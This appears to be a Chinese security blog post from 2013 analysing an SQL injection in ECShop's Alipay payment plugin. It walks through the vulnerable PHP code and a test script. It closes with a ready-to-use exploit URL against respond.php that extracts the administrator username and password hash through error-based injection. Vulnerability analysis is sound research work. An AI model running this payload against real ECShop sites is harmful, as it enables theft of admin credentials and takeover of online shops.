Ecshop 最新注入0day漏洞分析 2013-02-20

    今天习惯性的到处逛,看看文章。看到了360爆的一个ecshop 支付宝支付插件的注入漏洞,照例的分析下,360的团队还是挺赞的。
    由于漏洞源于ecshop的支付宝支付插件,所有利用前提是站点安装此插件,利用不受GPC影响。
    漏洞核心代码在\includes\modules\payment\alipay.php 文件 respond()函数,第215行。

    function respond()
        {
    
            if (!empty($_POST))
            {
                foreach($_POST as $key => $data)
                {
                    $_GET[$key] = $data;
                }
            }
            $payment  = get_payment($_GET['code']);
            $seller_email = rawurldecode($_GET['seller_email']);
            $order_sn = str_replace($_GET['subject'], '', $_GET['out_trade_no']);
    
            $order_sn = trim($order_sn);
    
            /* 检查支付的金额是否相符 */
    
            if (!check_money($order_sn, $_GET['total_fee']))
            {
    
           /*----省略----*/

    $order_sn变量由str_replace($_GET['subject'], ”, $_GET['out_trade_no']);控制,我们可以通过$_GET['subject']参数来替换掉$_GET['out_trade_no']参数里面的反斜杠\。
    最终$order_sn被带入check_money()函数。我们跟进看一下
    在include\lib_payent.php文件中109行.

    function check_money($log_id, $money)
    {
        $sql = 'SELECT order_amount FROM ' . $GLOBALS['ecs']->table('pay_log') .
                  " WHERE log_id = '$log_id'";
    
        $amount = $GLOBALS['db']->getOne($sql);
        if ($money == $amount)
        {
    
        /*----省略----*/

    此处就是漏洞现场。原来的$order_sn被带入了数据库。
    利用测试:
    首先我们要通过str_replace来达到我们想要的效果,%00是截断符,即也为NULL,NULL值是与0相等的。
    测试代码

    <?php
    $a=addslashes($_GET['a']);
    $b=addslashes($_GET['b']);
    print_r($a.'<br />');
    print_r($b.'<br />');
    print_r(str_replace($a,'',$b));
    ?>

    效果图:调用respond()函数的文件是respond.php,所以要在respond.php文件利用。

    最终利用EXP:

    http://localhost/ecshop/respond.php?code=alipay&subject=0&out_trade_no=%00′ and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b) — By seay

    漏洞作者:360
    漏洞分析:Seay
    博客:www.cnseay.com

    本博客所有文章如无特别注明均为原创。
    复制或转载请以超链接形式注明转自n0elle's Blog,原文地址《Ecshop 最新注入0day漏洞分析 2013-02-20
    标签:
    喜欢 | 0
    分享:

还没有人抢沙发呢~